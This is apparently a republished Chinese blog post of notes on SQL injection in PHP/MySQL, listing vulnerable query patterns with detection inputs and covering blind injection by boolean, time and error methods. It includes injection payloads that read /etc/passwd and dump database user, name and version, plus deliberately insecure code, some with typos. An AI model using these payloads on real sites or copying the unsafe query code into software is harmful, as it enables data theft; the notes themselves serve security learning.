标签:
1. 转义字符处理
$sql = "select * from table where field=‘$_GET["input"]‘";
$result = mysql_query($sql);
检测方法:输入加入单引号‘
2. 类型处理不当
$sql = "select * from table where field = $_GET["userid"]"
$result = mysql_query
常用手段: 1 Union all select load_file(‘/etc/passwd‘)
3. 查询语句组装不当
$sql = "select ".$_GET["column1"].",".GET["column2"]."from".$_GET[table];
$result = mysql_query($SQL);
检测方法:table = user & column1=user&column2=password
4. 错误处理不当
$getid = "select first_name,last_name from users where user_id =‘$id‘" ;
$result = mysql_query($getid) or die(‘<pre>‘. mysql_error().‘</pre>‘);
检测方法: 1 ‘ UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),databse(),version()))#
5. 多个提交处理不当
if($_GET[form1] == "form1"){}
if(is_string($_GET["param"])){}
if(strlen($_GET["param"]))<$max{}
手段:直接调用第二个表单
6. other
1. GET请求
2. POST请求
3. 其他(cookie,主机头 站点头)
1. HP WebInspect
2. IBM Appscan
3. WVS
简单演示
SQL盲注
booleanbase
相关函数: left() right()
timebase
相关函数:sleep()
$sql = .... where if(condition,sleep(2),1) ....
Errorbase
相关函数:
$sql = .... and 2*3=7 .....
场景
mysql常用函数
select left(‘1234567‘,3) //123
select right(‘1234567‘,3) //567
select version() // 3.3.27-log
select database() //db name
标签:
原文地址:http://www.cnblogs.com/olenji/p/5015080.html